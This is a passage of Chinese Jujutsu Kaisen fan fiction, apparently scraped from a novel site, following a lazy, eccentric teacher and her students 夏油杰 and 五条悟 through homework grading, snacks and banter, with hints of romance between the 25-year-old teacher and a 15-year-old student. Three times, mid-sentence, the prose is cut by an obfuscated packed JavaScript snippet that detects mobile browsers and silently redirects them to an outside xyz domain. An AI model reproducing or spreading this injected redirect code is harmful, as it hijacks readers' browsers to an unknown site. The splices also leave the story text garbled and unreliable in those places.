“如果有什么困难,可以跟老师说。”一向冷然的女人忽然轻声说道,“是身体不舒服吗?还是遇到其他什么问题?” 海月遥原本以为这孩子是来送礼的,可他迟迟不开口,只是垂下眼帘,浓密的睫毛投下淡淡的阴影,掩住那双深邃的郁紫色眼眸。 她一直盯着他,才发现他眼下不明显的泪沟。他长相偏古典,细长如柳叶的眉,上挑如弯月的眼,以及偏薄的唇,一副内敛温和的模样。但配上突出的骨相和偏薄的面中,以及眼下一弧浅弯泪沟,透出与外表截然不同的倔强与锋利。 这时,她觉得他可能真的遇上什么麻烦。虽然她不算喜欢这个学生,但基本的老师责任她会负,便多嘴问了几句。 “不,没什么问题。”夏油杰往后仰身,稍微拉开和她的距离。 海月遥差点忘了这孩子讨厌自己。她平静地收回手,站起身,耐心地等待他的下文。 “啊……对了,老师之前说的班长的事情。”他终于找到话题摆脱现在的窘迫,“如果老师需要帮助的话,不管是作业还是其他事情,我都可以帮忙。”这也算是减轻他心底的愧疚感。 这难道是新型的贿赂方式?海月遥用一种敬畏的目光看向眼前的学生,想通过跟老师搞好关系来获取好成绩? ——才怪。 毕竟夏油杰怎么考都是年级前三,完全没有担心成绩的必要。 “为什么?”她开口问道,“夏油君之前并不想做。” “毕竟老师经常要代这么多课,之前生病刚好还要坚持上课,太辛苦了。我平时空闲时间多,也没什么事做,如果能帮得上老师的忙,那就太好了。”夏油杰笑着,一弧眼眯成新月,不慌不忙地回答道。摆脱沉默后,心底起伏的杂念也消散不少,他又回到往日的状态。 他完全没有回答她的问题。海月遥斜睨他一眼,却也没有深问。送上门的劳动力不用白不用,这是她一向的准则。 她点头答应,又在杂乱的文件堆中翻了翻,找出一堆凌乱的作业,一股脑儿地塞给了夏油杰:“这是你们的作业,麻烦夏油君帮忙批改一下……啊,我还没写答案。” 这些作业明天就要发下去,可她一份都没改。一遇到无聊的正事,她就觉得其他任何事情都变得有趣起来,连风吹动学生的长刘海都比这些文件好玩。但不按时完成又会被夜蛾君批评……说到底,老师只要负责教书就行了,为什么还要布置这些没意义的作业呢…… 这时,她似乎已经忘记了自己找了个助手,一旁站着的学生仿佛成了监工, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612319|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 催促着她在截止日期前完成任务。 “老师?”夏油杰见她又不说话了,轻声呼唤道。说实话,他也没想到新老师会这么直接,刚答应下来就把堆积已久的工作全部交给他。 不过,夏油杰并不太在意。他低头看了一眼作业,惊讶地问道:“前辈们也和我们一样,什么都没教过吗?” “你们之前都没有系统学过这些,一年级和四年级都一样,什么都不懂。”海月遥漫不经心地在他的作业上划了几笔,然后递给夏油杰,“照着这个改就行。” 她半坐在办公桌上,无所事事地给他腾出位置批改作业。不知想到了什么,她突然嗤笑一声:“那些成年咒术师说不定都没你们了解得清楚。” 但说实话,这些知识对他们的能力有多大影响呢?夏油杰心想。咒术师和其他职业不同,大多数情况下,天生的术式和咒力就决定了一切,后天的努力也只是为了激发原有的天赋。就算了解了这些咒力的原理,也只是多懂了一些理论,对实战并没有太大帮助。 就像悟的六眼和他的术式,这些都是与生俱来的,是他人穷尽一生也无法追上的天赋。 他心不在焉地批改作业,余光瞥见老师坐在桌上,下巴支在桌上翻看着之前的书。她的小腿幼稚地晃荡着,坐姿歪七八扭,与刚才挺直脊背独坐的清冷模样截然不同。他甚至怀疑,如果不是需要桌面空间,她都能直接躺在桌子上看书。桌上堆叠的文件显示,她没少乱放东西。 不过这也无妨,毕竟她的办公室是单人间,或许是不喜见人,靠走廊的门总是随手关着,连窗帘也拉得严严实实,外人无法窥视里面的情形。 夏油杰有时很好奇这位老师的想法。她在他面前总是沉默寡言,难以捉摸,像一缕飘忽的冷风,又像茕茕独立的冬枝,矜持而高傲。但偶尔,她也会展现出与年纪不符的童趣。他又想起她发烧时像熊孩子的模样,觉得这种状态还是少一些为好。 “夏油君在想什么?”海月老师突然开口,书页半掩着薄唇,没有转头,琉璃蓝的眼眸顺着眼尾滑向他。 “什么都没想哦~”他回答。 “是吗?”女人轻巧地从桌上跃下,推开夏油杰的椅子,溜到办公桌下,找出一箱零食。她半蹲在椅子旁,一只手搭在椅背上,另一只手摇晃着零食袋,对夏油杰说:“要吃吗?” 她半蹲在椅子旁,一只手自然地搭在夏油杰两腿间的椅面上,另一只手向他伸去,手里的零食袋摇晃着,薯片在里面哗哗作响。又大又圆的猫眼眨了眨,上挑的眼目在她仰头时凭空多了分惑人,连眼下冷淡的小痣都似乎晃荡出难得一见的风情。 “要吗?”她歪着头又问了一遍。 或许是她这副姿势太过冲击,夏油杰感到喉咙发干,不自觉地咽了咽口水,别开眼,语气晦涩:“不……谢谢老师,我不用了。” “哦。”海月遥无所谓地从桌下钻出,坐回原位,只是这次手中多了一包薯片。 夏油君真慢。她心想。不就一个学校的作业吗?整个学校学生加起来也没几个人,只不过她自从当老师以来就没改过,工作量都堆在一起了。这么想着,她又探出手捞支笔,在夏油杰上份、上上份、上上上份……的作业上随意划了几笔,聊且当做他批改时的参考答案。 夏油杰:您完全不改是吗? “真多。”旁边的老师边吃边说出他的心里话。她刚吃完薯片,又翻出特产米棒,一节节地啃着。 “老师,如果没记错,这是几周前的吧?”夏油杰才发现还有很久前布置的作业没改。 “明天才发。” 夏油杰:那您早不改!!! 海月遥:哎嘿:) 果然,还是无法尊敬她! 65.夏油师生线(七) “真狡猾啊,杰,真是太狡猾了!”五条悟拉长声音,大声指责道。 家入硝子也撑着下巴,在一旁凉凉地附和:“夏油说的和做的完全不一样呢。” 身处两人指责中心的夏油杰:…… 说实话,成为老师的助手并没有给他带来什么实质性的变化。昨天作业太多,到了晚上六点多还没改完,海月老师便让他先回去,自己继续批改。但夏油杰想着既然主动提出要当助手,就应该负责到底,于是带回家继续改,打算第二天再交给老师。 “夏油君似乎喜欢把不属于自己的责任强加给自己。”当时,海月老师这么说了一句,却并未阻止他。之后,两人顺道去食堂吃了晚饭,天色渐暗,他便送老师回教职工宿舍。 没想到这些被他的同期看见了,今天一见到他就冷嘲热讽。 “我只是在帮老师的忙。”他强颜欢笑,解释道。 “帮忙还要一起吃饭,还要晚上一起散步吗?”五条悟撇撇嘴,觉得夏油杰真是死鸭子嘴硬,明明他们也不会对师生恋有什么异议,夏油杰却一再隐瞒。 “悟之前不还和老师一起打游戏吗?”夏油杰终于忍不住,反讽了一句。对面的五条悟露出不可置信的表情,仿佛在说:“你竟然好意思说我?” “硝子也是,明明也和老师一起吃过饭。”夏油杰慢条斯理地补充。一旁的五条悟又露出被战友背叛的表情,看向家入硝子。她只是摊摊手,无所谓地说:“只是和老师一起喝了点。” 夏油杰不知道另外两个人是怎么好意思指责他的。他挑拨完后,便笑着说:“我只是单纯地帮忙,可不像你们那样充满私心。” “并不是像你们想的那样,我不喜欢海月老师。”他觉得有必要澄清一下师生恋的事情,毕竟这对海月老师不好。 可他的话音刚落,教室门就打开了。他下意识地循声望去,与那双澄蓝色的猫眼对上了视线。海月遥只是朝他点头。夏油杰不知道她是否听到了刚才的话,心中一阵心虚。本来围攻他的同期则麻溜地蹿回自己的位置。 “山田老师有事,我代课。”海月遥走到讲台,放下讲义,平静开口。 “还有,夏油君——”她稍作停顿,这让夏油杰莫名紧张。但她没有故意拖延,继续说道:“夜蛾老师刚说要找你,有任务。另外,医务室有伤员,需要硝子过去一趟。”她看向家入硝子。 就两件事,就让教室只剩下五条悟,可见咒术高专的生源之贫瘠。 海月遥看见只有五条悟一人的教室,叹了口长长的气。 某只白毛非常不满:“你这家伙为什么要看着我的脸叹气!” 她望了他一眼,不说话,拖着步子走到讲台处,又是叹气,慢慢抽出一只合适的粉笔,心不在焉地低着头。 “海月老师——”五条悟才不罢休,拉长声音,“回答我——” 他刚说完,台上的黑发女人又叹了口气,五条悟心底那种不悦的念头达到高峰。 他恶声恶气地反问:“怎么,只有我一个不满意吗?” “因为,给五条君上完课,又得在硝子和夏油君有空后给他们重新讲一次。”海月遥皱着眉,圆钝的粉笔划过指腹,“我讨厌做这种无意义的事情。” 在高专刚任职的时候她还想过,只有个位数的学生当老师应该挺轻松了,不然她也不会答应夜蛾正道的邀请。可哪知咒术师会忙成这样,连高专的学生都不例外,就三个人一天天忙得脚不沾地,尤其是夏日咒灵高发期,结果就是她反复给几人上重复的课程。 原来就这事。五条悟毫不在意:“那就等人来齐再上嘛~” “会被骂。” “诶~老师害怕夜蛾老师骂?胆小鬼——胆小鬼——”他按着节拍开始大肆嘲讽。 海月遥攥紧拳头,可在她在心底反复告诫自己她是老师时,五条悟朝她招招手,她半信半疑地走过去,刚到就被他塞了本不厚的书,她下意识低头,发现是一本漫画——应该是新出的《Jump》?她迟疑地判断。 “不想上课就跟我一起看漫画。”他慷慨地从课桌兜里掏出零食,“如果海月老师怕夜蛾老师的话,我也在,我陪你。” 隔着墨镜海月遥倒是看不清那双苍天之瞳眼底的神情,却能看清那勾起的嘴角。他分明也不在意自己刚刚说了什么大逆不道的话,身子期待地往前倾,连椅子都翘起一边来。他就那样一手支着下巴,笑着晃荡着手里的薯片,“快点快点~” 说得好听,她心想。她早就察觉到,这个学校真正的老大其实是夜蛾正道。以前,她亲眼见过一年级的那三个人排排跪在他面前的情景! 但她还是抽走他邻桌的椅子,就搬到他课桌前,面对面坐下,毫不客气地就掏薯片。 “到时候被发现了,我会说是悟指使的。” “哈?!你这样还算是老师吗?简直是失职!”本来还笑嘻嘻的五条悟一时脸拉的老长,像抗议一样胡闹地挥舞着手臂,“举报!举报!我要举报——” “——等等!老师刚才叫我什么?” 他猛地直起身,连墨镜都因动作下滑,半遮半掩地露出苍蓝色的眼瞳。他本就身材高大,站起身弯下腰时,依然比坐着的海月遥高出一大截,惊讶地低头看着完全被自己阴影笼罩的女人。 “悟。”即便两人距离拉近,海月遥也毫无异样,依旧保持着原来的姿势,歪着头问:“不可以吗?” “嘛……随便你……”他吞吞吐吐地回应,又坐了回去,像之前那样撑着下巴,目光或许投向窗外跃动的树枝。过了半晌,他才问:“……为什么突然这样叫我?” 海月遥怀疑五条悟的手心可能粘了胶水,总喜欢这样撑着下巴说话——就像这群男子高中生出门总爱插兜一样,大概也是手被胶水黏住了。 她思绪飞扬,嘴里叼着薯片,回答:“好感到了。”说话时,嘴里叼着的两片橙黄色薯片还上下跳动着。 像鸭子。 “是机器人吗?还是说galgame里的女主?一达标好感度就换称呼。”五条悟忍不住吐槽,“而且,就因为一包薯片就提高好感度,老师,你也太好攻略了……” 海月遥信口胡诌:“才不是,老师是传说中需要先攻略七个角色才开放路线的隐藏攻略对象。” “那是神龙。” (注:集齐七龙珠方可召唤神龙。) “咳咳,年轻人,你有什么愿望吗?” “河神吗!” “吐槽得不错。”海月遥两口吃完薯片,面无表情地比了个大拇指。 “我可是什么都会的天才。” 五条悟的鼻子快要翘到天上去了。 最近学的《儿童心理学》果然很有用。海月遥又往嘴里塞了片薯片,她不太清楚如何教导这群孩子,但鼓励式教育似乎很有用,至少这只白毛小朋友就很喜欢。 “悟真的很厉害。”她嘴里塞满薯片,含糊不清地说着,还夹杂着“咔吧咔吧”的响声,“又好心又聪明,真好——” 海月遥决定趁这个时候吃光他的薯片! 五条悟配合她摆出杂志上的模特动作。 “咔吧咔吧——悟真帅气——”她语气平淡。 “哼哼~”五条悟臭屁地摘下墨镜。 “超有范——咔吧咔吧。”她继续念着台词。 “哼哼哼~”五条悟一手将额发往后捋,露出光洁的额头。 “吃完了。”海月遥遗憾地摇了摇薯片袋,不客气地伸手,“再来一袋。” “老师真没诚意。”五条悟撇撇嘴,不再摆姿势,遗憾地坐下来。他还是配合地掏出一袋饼干,拎着袋口在海月遥眼前晃晃,拉长声音撒娇道:“就不能认真地夸夸我吗?刚刚像哄孩子一样。真是的——” “一般只有小孩子才会要求大人夸奖。”海月遥伸手去捞饼干,他却往上一提,故意不让她碰到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629306|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样逗了两次,就被眼前大十岁的老师毫不留情地拳击腹部,虽然不重,他还是做出一副相当夸张的吃痛表情,束手就擒,将饼干扔到她怀里,嘴里还反驳道:“大人连自己该得的夸奖都不要求吗?那还不如小鬼呢。” “确实。”海月遥赞同地点点头,顺口夸了一句,“悟很通透,这一点老师很喜欢。” 她低着头拆开零食袋,却半天没听见五条悟的声音。疑惑地扫了他一眼,只见他一手撑着下巴半捂着嘴,别开眼不看她。在如雪般洁白的发丝映衬下,他耳尖上那抹淡淡的红晕愈发鲜明。 “耳朵红了。” 海月遥冷不丁地戳穿他。 他猛地往后靠,后仰着身,椅子也因此往后倾倒,看起来摇摇欲坠。这个角度看不见他的脸,只能看见他流畅的颈部曲线和下颌线。他大声反驳:“才没有!你这家伙多嘴!” “真失礼,应该叫我老师才对。” “这个时候只知道摆老师架子!之前打游戏输的时候明明还耍赖!” 海月遥皱着眉,义正言辞:“老师是成年人,是不会耍赖的。” 她明明是光明正大地作弊! 五条悟决定一条条细数她的恶行,可厚脸皮的大人却无动于衷,他自讨没趣,撇撇嘴,掏出之前还没写的任务报告,准备糊弄过去。 当他安静下来时,对面的海月遥觉得有些新鲜。毕竟,在她印象里,这孩子几乎就是闹腾到话太多的类型。 此时,他不说话了,海月遥才注意到他的长相偏冷。冷白的肤色,雪白的发丝,银白的睫毛,稍有不慎可能会显得突兀,但他却恰到好处。垂下眼时,颇有种旁观世人的神子模样。 “我很帅吧。”本来还低着头的五条悟突然开口,颇为得意地轻哼两声。 海月遥实话实说:“只是有些惊讶悟认真的样子。” “——因为觉得我不够认真,所以老师才选杰当助手吗?”五条悟突然放下笔。 什么意思?海月遥有些疑惑,不知道话题为什么能跳跃到这里。她刚想回答,却见家入硝子松动着肩膀走了进来。 “累死了。”她进来后长叹一口气,看见五条悟支着下巴,一言不发地看着桌前的海月遥,不解地问:“发生什么了?” 说着她还自来熟地将自己的课桌也搬过去,和五条悟的拼在一起,丝毫不见外地接过海月遥递过的零食袋,也学着她的样子“咔吧咔吧”吃饼干。 “谢谢老师~”她很有礼貌。 “明明是我的!”五条悟不满地抗议,“硝子,你这家伙!” “五条真小气。”家入硝子说。 “对呀对呀。”海月遥附和。 “小肚鸡肠的男人真丑陋。” “对呀。” “说话也不礼貌。” “对。” “不过,这饼干还不错。” “1。” 五条悟看着眼前两个女人故作小声地交头接耳,主要是家入硝子在说话,海月遥只是偶尔附和,到后来甚至只说“1”,不知情的人还以为哪里出现了故障的机器人。家入硝子还假装大方地递过饼干,像逗狗一样晃了晃:“喏,吃。” 狗才吃嗟来之食!五条悟坚决不接受。 结果,她们一片饼干也没给他留。 他露出被背叛的痛心表情:“硝子,你到底是谁的同期啊!” 家入硝子:哈哈。 “话说回来,现在不是上课时间吗?”她转过头,看向身侧的海月遥,可海月老师只是懒洋洋趴在桌子上,化成一团海月。 “老师说,懒得把同样的课分别给我们上很多遍。”五条悟在一旁嗤笑一声。 “抱歉啊老师,实在太忙了。”家入硝子叹了口气。 “不那么忙就行了吧。”海月遥突然开口。 “哈哈,如果那就好了。”家入硝子笑道。 海月遥又不接话了。 66.夏油师生线(八) “夏油君,你平时难道不忙吗?” 刚结束任务匆匆返回的夏油杰,此刻正坐在海月老师的办公室里,协助这位素有拖延习惯的老师批改堆积的作业。这时,海月遥冷不丁地抛出这样一个问题。 这孩子一开始来当助手的时候的说辞是他有不少空闲时间。可最近海月遥看他出任务频率也不低,而且从昨天五条悟写报告的情况来看,他也同样需要撰写每次任务后的报告。即便如此,他还要兼顾学业,完成各科作业,之后还要来这里帮她批改作业。 这完全与他最初所说的“平时空闲时间多,没什么事情可做”大相径庭。 “我总会有时间的。”夏油杰没有反驳,只是微笑着回应。 坐在转椅上的海月老师轻轻一滑,便带着椅子靠近夏油杰。她的办公室是单人的,因此特意为夏油杰腾出一片空间,方便他批改作业。现在,她毫不费力地就滑到他的身边。 夏油杰不解地看向身侧的女人,她正一眨不眨地盯着他的侧脸,看得他都有些不自在起来。“怎么了?海月老师?” “夏油君为什么要帮我?”海月遥再次问出这个问题。 “理由真的很重要吗?”夏油杰反问。 “1。” “哪怕不算好听?”他追问。 “1。” 见她如此坚持,夏油杰无奈地叹了口气,放下手中的笔,转过身来与她面对面。 “如果上次我没有过来帮忙,按照那些堆积的作业量和老师的拖延习惯,您可能得一个人批改到深夜吧?”他说道。 实际上她会在快来不及时通宵改。 海月遥心想,面不改色地点头。 对面小她十岁的学生露出了“您怎么能这样”的担忧表情,又叹了口气,“老师,你的身体算不上好。我觉得你还是得早些睡哦?” “虽然这么说,但如果我不帮你,你还是会拖延到深夜才批改完作业吧?”海月遥点了点头,夏油杰用手指按住眉心,又长叹一口气。“反正我平时也有空闲时间,与其用来打游戏,还不如帮老师处理这些事情。而且,只要作业不堆积起来,每次及时批改,工作量其实并不大,连一小时都不需要。” “只因为这个?” “只因为这个。” 海月遥一言不发地看着他,让夏油杰开始反省自己刚刚是不是说了不该说的话。结果这人沉默良久,脱口而出一句:“夏油妈妈!” 夏油杰握紧拳头。 “如果老师能每天及时批改作业,我也就不用这么操心了。”他皮笑肉不笑地说着。 “明明我一晚上就能完成的事情,为什么要分散到每天去做呢?”海月遥觉得学生的指责有些过分。“我可以去做更有意义的事情,这种无聊的事情放在最后做不就好了吗?” 所以,现在这种无聊的事情是他在做。 夏油杰无奈地瞥了她一眼,转过身继续埋头批改作业。而那位刚才还口口声声说要做些有意义事情的老师,此刻却悠闲地坐在办公室的转椅上,滑来滑去,滑轮与地板摩擦发出的声响格外刺耳。更过分的是,她竟以办公桌为中心,开始画圈旋转,甚至在旋转的同时还完成了自转,实在是“伟大”。 “……老师,这就是你说的有意义的事吗?”几分钟后,夏油杰终于忍不住开口问道。 “我是月亮。” 夏油杰先是没明白她的意思,后面才反应过来,她是指自己在学月球自转公转。 她真的是25岁?不是5岁?15岁的夏油君对老师的年龄,尤其是心理年龄产生质疑。 “如果是月亮的话,应该得同步自转吧?”他又开始拆台。 “潮汐锁定吗?”海月遥喃喃自语,“我明白了,只要我一直看着夏油君就行了。” (注:潮汐锁定,指一个天体永远以同一面对着另一个天体,这种现象通常发生在重力梯度使天体自转周期与公转周期相同的情况下。) 不……他其实是想让她快点停下来。但看着那双认真盯着他的蓝眼睛,夏油杰却怎么也说不出这句话。无论是“是的,请你看着我”还是“抱歉,别看我”,在这样的情境下都格格不入。 可海月遥不等人。 她开始学着月球的同步自转转圈。 诡异。 夏油杰心中所有的想法都烟消云散,只剩下了一片平静。 一个面无表情的女人围着你转圈,不管怎么转都用一副不变的表情正面朝向你,一眨不眨地盯着你……像是恐怖片的发展。只不过老师看起来有几分呆滞。 他再次对老师的年龄产生质疑。 “能麻烦老师停下来吗?”他最终还是开口。 “?” “我最近得了晕转椅的病。” 体贴学生的海月老师立刻站了起来,准备抽走他屁股下的转椅。 “——我晕滑动的转椅!”夏油杰及时改口,避免他需要虚空扎马步批改作业的窘境。 “嘁。” “……老师是不是很失望?” “啧,0。” 果然老师还是很讨厌他…… 没事干的海月老师语调毫无起伏地应了一声。实在是闲得无聊,她又开始找别的事做——看窗外的麻雀飞。 终于消停了。 夏油杰松了口气,继续低头批改。 过了一会儿,他感觉到有一道视线落在自己身上,转过头就看见海月遥正弯腰侧头看着他。见他看过来,她眨了眨眼,不受束缚的黑发从脸侧滑落,勾勒出上挑的圆润猫眼。两人之间的距离极近,近到夏油杰能清晰地看到她眼下对称的小痣,以及她呼吸间颤抖的眼睫。 她什么时候离得这么近? 夏油杰下意识拉开距离。他有时觉得老师疏离感很重,有时又像现在这样,毫无边界感。或许她根本不在意这种事情,完全不顾别人的感受,像是漂亮的黑猫,在心弦上漫步,自得地喵喵几声,累了就趴下,一会儿又毫不在意地跃开。 总之,夏油杰不自在地清了清嗓子,掩饰般地问道:“老师有什么事吗?” 她不说话,只是伸出了手。 就在他以为她要抚上自己的侧脸时,这家伙竟然拽了拽他的刘海! 夏油杰:…… 学生不是你的玩具! 海月遥想起来病中时依稀的拽刘海记忆,果然手感还是一样好,而且稍微拽一拽,夏油君的表情就一变再变。 好玩。 她踩人的脚,人会张嘴,所以人是翻盖垃圾桶;拽夏油君的刘海,夏油君会变神色,所以夏油君是拉绳台灯。她用一段完全不合逻辑且结构混乱的三段式推理得出这样的结论。 “麻烦老师放手。” 拽。 “放——手——” 拽。 夏油杰侧过头,朝一旁的海月遥微微一笑,语气中带着一丝警告:“老师如果还这样的话……我会不客气的……” 海月老师见好就收。 “……老师,要是无聊的话,要不出去走走,找点别的事去做?”夏油杰被她那充满怨念的眼神看得心里直发毛。 “我留在这里,陪你。” 夏油杰心里刚涌起一丝感动,就被她接下来的话瞬间浇灭。 “要是夜蛾君之后来了,发现我让夏油君帮我改作业,我会被骂。” 敢情自己在这儿是充当免费劳动力,还成了非法的那种?夏油杰腹诽道。 正当他走神的时候,海月老师又伸手拨弄了一下他额前的刘海,那缕黑发随着她的动作轻轻摆动。她也是真的无聊,书都看完了,现在又是放学时间,这里也没什么娱乐设施,还得陪着夏油杰。 要是夏油君现在能给她跳个阳光海岸的摇摆草裙舞,那该多好啊……海月遥心里不无遗憾地想着。那样肯定能让她乐呵乐呵。 所以说,现在他不仅得给老师当“免费”的苦力,还得忍受她的“骚扰”……夏油杰笔尖一顿,在白纸上泅开一团墨痕。他平静放下笔,一言不发地站起来,居高临下地看向身侧的老师。 海月遥一七五的身高在日本算上极为高挑的类型了,可夏油杰却还是比她高上一截,宽大的身影挡住投射下来的白炽光,他敛起笑,投射下的阴影洒在女人清丽的面腮。久经锻炼的身材可不算单薄,毫无表情垂眼看人时总有种与年龄不符的压迫感,郁紫色的双眼愈发幽深。 她面无表情地和他对视。 “海月老师……” 他几乎是带着一丝叹息喊出了这个名字,然后以迅雷不及掩耳之势,猛地捧起她的脸揉搓起来! 多么令人热血沸腾的战斗技! 才怪。 夏油杰自然不会对普通人老师下狠手,更别说这位老师体质虚弱,淋点雨就容易发烧。但他心里这口气实在咽不下去,于是愤愤地把她苍白的脸颊揉得泛红才松开手。 退一步越想越气,他又不满地弹了她的额头。最后,他心满意足地坐回原位,继续当老师的得力小助手,勤勤恳恳地批改作业。额头被弹红的海月遥也不再闹腾了,安静地蹲在角落自闭。 之后,老师倒是完全安静了下来,坐在窗边看着他上次来时她正在看的书。夏油杰莫名有一种“孩子终于长大了”的欣慰感。 说实话,刚才捧起老师的脸时他就后悔了——这样的举动太过分了,但老师却似乎并不在意。隐隐约约间,夏油杰心底升起一种得意,就像他有时看到海月遥和另外两位同期打闹时,那种自己无法融入的轻松氛围一样。 什么嘛,他不也一样可以? 来当助手,他确实是有担心老师的成分,但更多的,也是为了自己。 思绪纷飞间,他已经完成批改。但夏油杰并没有急着离开,而是转头看向坐在窗边的海月遥。 “老师。” 在不捣乱的时候,她安静得仿佛一幅画。风拂过一如绸缎的黑发,在光下闪着粼粼波纹,就像是海下潜游的鲸听到呼唤,她直直地望向声音的来源。 她不冷不热应了声:“嗯。” “海月老师又是为什么来高专当老师呢?我不觉得老师第一节课说的理由足够打动你。而且夜蛾老师也说你是他正规聘请的教师。” 谋杀……死刑……夏油杰在这段时间的观察中,却很难将她与这两个词联系起来。 海月遥稍作思考,回答:“夜蛾君说,只要我来当教师,高专珍藏的书都可以任我看。” “只因为这个?” “只因为这个。” 同样的对话再次发生。上次夏油杰分明掩盖了自己的私心,但放在老师身上,他又觉得她是认真的。她只是因为这些书,自愿无偿来这边担任教师。 想到这里,他又问:“那老师第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642920|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一节课为什么那么说?”见海月遥没理解,他提示道:“死刑。” 海月遥恍然大悟:“因为逗小孩很好玩。” 夏油杰:…… 他有时候想知道眼前人脑子里装的什么,不过这也让他松了口气。 “而且夜蛾君也真的跟我这么说过。”只是发现她不在意后才改变方式。 “那47个人的事情……”他再次警惕起来,语气晦涩地问道。 “是真的。” 女人半坐在打开的窗台上,无所事事地晃动着双腿,单薄的身躯在微风中显得有些摇摇欲坠,仿佛随时都有可能从这五楼摔下,变成散落在泥泞中的花瓣。 “夏油君似乎对这个很在意?”她找到新的娱乐方式,浅笑着问道。 夏油杰抿起唇,不由得站起身,两人隔着不远的距离相望。 “我大概是因为当时闹得太大,才被夜蛾君发现的。”海月遥见他没有回答,也不在意,继续自顾自地说道。“毕竟咒术界的人本来就不多,短时间内消失了47个术师,怎么可能不引起注意?” 在那之前,夏油杰还没入学高专,所以他也很难判断海月遥口中事情的真假。可他现在由衷希望她又是像之前一样“逗小孩”。 “怎么了,夏油君?你脸色不太好。”眼前的老师弯弯眼,显然颇为愉快地晃荡着腿,看上去随时有可能从窗沿边摔下。“你又在生气吗?” “……” 夏油杰走过去,朝她伸出手。 “嗯?”她这下不明白他的意思了。 “老师坐在窗户边不安全哦。”他笑道。 海月遥顺从地将手搭在他的掌心上。他的手修长且充满力量,宽大的手掌几乎将她的手完全包裹。由于长期的训练,他的指尖带着有些粗糙的薄茧,覆上来的时候有一种磨砂的质感。她借着他的手,轻盈地从窗沿跳下,脚尖原本因惯性几乎与他的脚尖相碰,但在落地后,她自然地松开手,与他保持距离。 “老师。”他低头看向海月遥,露出一抹笑,双眼弯成月牙状,“我信任夜蛾老师的眼光,也信任这段时间我所认识的海月老师。如果老师不想说,我也不会追问。” 什么嘛,这样搞得她又像是故意逗小孩生气的不成熟大人了。海月遥心想。 “也不是不能说。”她移开视线,“只是涉及的知识对你们来说有些超前,我懒得解释。等你们学到那个层次的时候,再告诉夏油君也不迟。” “我会满怀期待地等待那一天的到来。” “按你们三天中有两天缺课的状态,不知道毕业前能不能教到那里。”海月遥不吝惜给学生泼冷水。 夏油杰并未生气,反而轻笑一声,打趣道:“那我可能就得寄希望于老师能给我开个小灶了,毕竟我还是很好奇的。” “可以。” “诶?” “课后夏油君可以找我补课,只要你想知道更多的话。”她已经走到办公桌边收拾起批改好的作业,指尖摩挲过上面少年认真隽永的字迹。“而且——” 海月遥指向夏油杰,“夏油君,你运用术式的方式真是太糟糕了!” 掷地有声! “你的术式明明是最有趣的!咒灵变化多端的特性才是你最大的优势!可你在战斗时,只是把咒灵当作炮弹和盾牌来使用!”海月遥义愤填膺。“夏油君的实力本不应止步于此!” 为什么话题又转移到数落他了?夏油杰攥紧拳头。 “只要多了解一些,夏油君完全可以通过不同术式的配合,人为地创造出强大的战斗机制。你又不是一次只能使用一只咒灵的宝可梦训练家。夏油君的话,明明可以一次性召唤出很多只。” “还有——” “我明白了,老师!我会好好努力的!”夏油杰打断她的话,强挤出笑容,“时间不早了,我先回去了!” 在他错身走开时,海月遥攥住他的手腕。 “我不是贬低夏油君。”她神情认真,“我只是想说,既然你之前缺少正确的引导,作为老师,我会负起责任。请放心,一切我都会慢慢教给你的。” “毕竟夏油君是个既温柔又聪明的孩子。”海月遥又想起了扯他刘海时他变化的表情,轻笑一声补充道,“也很有趣。” “所以,我很高兴能成为你、硝子和悟的老师。也许,这也是我现在仍然选择继续当教师的理由吧?” 窗外,黄昏悄然降临,暖橙色的光芒在她乌黑的发丝上流淌,透过镜框,隐约可见一抹淡蓝。一向冷淡的女人微微弯起眼,仿佛凝聚起一汪温柔的笑意。 “哦……嗯……谢谢……老师……” “又到饭点了,去吃饭吧。”海月遥松开手,朝门口走去。当她快走到门口时,发现夏油杰没有跟上,便回头望去。 他的目光有些游离。夕阳的余晖淡淡地洒在他的侧脸上,眉眼依旧清俊。或许是因为暖光的原因,他的脸侧也似乎被染上了一层暖色。 “不一起吗?”她问道。 难道他不愿意和自己一起去吗?明明上次就是一起去的……不过,这个年纪的孩子不想和老师待在一起也是很正常的…… 但话音刚落,夏油杰抬眼看向门口的她,眉宇间流转着暖色的余晖,笑意逐渐扩散,双眼弯成一道温和的新月。 “嗯,一起。” 他几步走到她的身边。 67.夏油师生线(九) 或许是因为最近关于“忙碌”的话题出现次数过于频繁,又或许是炎炎夏日已经进入尾声,一年级的三人明显察觉到任务量的骤减。 然而,轻松并未持续太久,三人很快迎来新的“任务”。 高专来了三位不速之客! 突然出现,跟在海月老师身边的三个人! 划重点:男性,二十多岁,相貌堂堂。 